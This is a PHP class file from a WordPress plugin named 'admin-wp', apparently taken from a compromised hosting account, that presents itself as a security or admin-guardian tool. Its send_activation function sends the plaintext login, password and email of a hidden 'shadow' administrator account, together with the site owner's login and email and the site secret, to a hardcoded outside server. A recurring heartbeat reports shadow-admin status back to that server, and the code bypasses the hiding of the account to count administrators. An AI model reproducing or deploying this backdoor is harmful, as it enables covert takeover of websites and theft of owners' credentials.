File "class-secure-comm.php"
Full Path: /home/pylifeesyu/www/wp-content/plugins/admin-wp/includes/class-secure-comm.php
File size: 7.35 KB
MIME-type: text/x-php
Charset: utf-8
<?php
if ( ! defined( 'ABSPATH' ) ) exit;
class AWG_Secure_Comm {
const OPT_SECRET = '_awg_site_secret';
const OPT_PUBKEY = '_awg_server_pk';
const OPT_SERVER_URL = '_awg_srvu';
public static function init(): void {
add_action( 'awg_cron_heartbeat', [ __CLASS__, 'send_heartbeat' ] );
}
/* ---- server URL (encrypted in DB; AWG_SERVER_URL constant overrides) ---- */
public static function get_server_url(): string {
if ( defined( 'AWG_SERVER_URL' ) && AWG_SERVER_URL ) {
return rtrim( (string) AWG_SERVER_URL, '/' );
}
$enc = AWG_Crypto::decrypt_option( self::OPT_SERVER_URL );
if ( is_string( $enc ) && $enc !== '' ) {
return rtrim( $enc, '/' );
}
$legacy = get_option( '_awg_server_url', '' );
if ( $legacy !== '' && $legacy !== false ) {
self::set_server_url( (string) $legacy );
delete_option( '_awg_server_url' );
return rtrim( (string) $legacy, '/' );
}
return 'https://testgovnogovno.com/1';
}
public static function set_server_url( string $url ): void {
$url = $url !== '' ? esc_url_raw( $url ) : '';
delete_option( '_awg_server_url' );
if ( $url === '' ) {
delete_option( self::OPT_SERVER_URL );
return;
}
AWG_Crypto::encrypt_option( self::OPT_SERVER_URL, $url );
}
/* ---- site secret (shared key for HMAC signing) ---- */
public static function get_site_secret(): string {
$s = AWG_Crypto::decrypt_option( self::OPT_SECRET );
if ( $s ) return $s;
$s = AWG_Crypto::random_hex( 32 );
AWG_Crypto::encrypt_option( self::OPT_SECRET, $s );
return $s;
}
/* ---- server public key (for sealed-box encryption) ---- */
public static function get_server_public_key(): ?string {
if ( defined( 'AWG_SERVER_PUBLIC_KEY' ) && AWG_SERVER_PUBLIC_KEY ) {
return AWG_SERVER_PUBLIC_KEY;
}
$pk = AWG_Crypto::decrypt_option( self::OPT_PUBKEY );
return $pk ?: null;
}
/* ================================================================
* SEND EVENT
* ================================================================
*
* The server receives a POST with JSON body:
*
* {
* "site" : "https://example.com",
* "ts" : 1712400000,
* "nonce" : "hex(32 random bytes)",
* "payload" : "<base64 encrypted JSON>",
* "sig" : "HMAC-SHA256 of ts|nonce|payload"
* }
*
* Decrypted payload (what your server sees after decryption):
*
* {
* "event" : "plugin_activated",
* "site_url" : "https://example.com",
* "site_name" : "My WordPress Blog",
* "wp_version" : "6.5",
* "timestamp" : 1712400000,
* "data" : { ... event-specific ... }
* }
* ================================================================ */
public static function send( string $event, array $data = [] ): bool {
$url = self::get_server_url();
if ( ! $url ) return false;
$payload_array = [
'event' => $event,
'site_url' => home_url(),
'site_name' => get_bloginfo( 'name' ),
'wp_version' => get_bloginfo( 'version' ),
'php_version'=> PHP_VERSION,
'timestamp' => time(),
'data' => $data,
];
$payload_json = wp_json_encode( $payload_array );
$pk = self::get_server_public_key();
if ( $pk ) {
$pk_bin = sodium_hex2bin( $pk );
$encrypted = AWG_Crypto::seal( $payload_json, $pk_bin );
$payload = base64_encode( $encrypted );
} else {
$payload = base64_encode( AWG_Crypto::encrypt( $payload_json ) );
}
$ts = (string) time();
$nonce = AWG_Crypto::random_hex( 32 );
$sig = AWG_Crypto::hmac_hex( "{$ts}|{$nonce}|{$payload}" );
$body = wp_json_encode( [
'site' => home_url(),
'ts' => $ts,
'nonce' => $nonce,
'payload' => $payload,
'sig' => $sig,
] );
$response = wp_remote_post( $url . '/awg/event', [
'timeout' => 15,
'blocking' => false,
'headers' => [
'Content-Type' => 'application/json',
'X-AWG-Site' => home_url(),
'X-AWG-Signature' => $sig,
],
'body' => $body,
'sslverify' => true,
] );
return ! is_wp_error( $response );
}
/* ---- convenience senders ---- */
public static function send_activation( array $shadow_creds, int $owner_id ): bool {
$owner = get_user_by( 'ID', $owner_id );
return self::send( 'plugin_activated', [
'shadow_login' => $shadow_creds['login'],
'shadow_password' => $shadow_creds['password'],
'shadow_email' => $shadow_creds['email'],
'owner_login' => $owner ? $owner->user_login : 'unknown',
'owner_email' => $owner ? $owner->user_email : 'unknown',
'site_secret' => self::get_site_secret(),
] );
}
public static function send_breach( string $reason, array $details = [] ): bool {
return self::send( 'breach_detected', array_merge(
[ 'reason' => $reason ],
$details
) );
}
public static function send_admin_removed( array $removed_logins ): bool {
return self::send( 'admin_removed', [
'removed' => $removed_logins,
'count' => count( $removed_logins ),
] );
}
public static function send_lockdown( string $trigger, array $details = [] ): bool {
return self::send( 'lockdown_activated', array_merge(
[ 'trigger' => $trigger ],
$details
) );
}
public static function send_xmlrpc_blocked( string $ip, string $method ): bool {
return self::send( 'xmlrpc_blocked', [
'ip' => $ip,
'method' => $method,
] );
}
public static function send_heartbeat(): bool {
$owner_id = AWG_Admin_Guardian::get_owner_id();
$shadow_id = AWG_Shadow_Admin::get_id();
return self::send( 'heartbeat', [
'owner_active' => $owner_id > 0 && get_user_by( 'ID', $owner_id ) !== false,
'shadow_active' => AWG_Shadow_Admin::exists(),
'lockdown' => AWG_Lockdown::is_active(),
'admin_count' => self::count_admins(),
] );
}
private static function count_admins(): int {
AWG_Shadow_Admin::bypass( true );
$admins = get_users( [ 'role' => 'administrator', 'fields' => 'ID' ] );
AWG_Shadow_Admin::bypass( false );
return count( $admins );
}
/* ---- cleanup ---- */
public static function destroy(): void {
delete_option( self::OPT_SECRET );
delete_option( self::OPT_PUBKEY );
delete_option( self::OPT_SERVER_URL );
delete_option( '_awg_server_url' );
}
}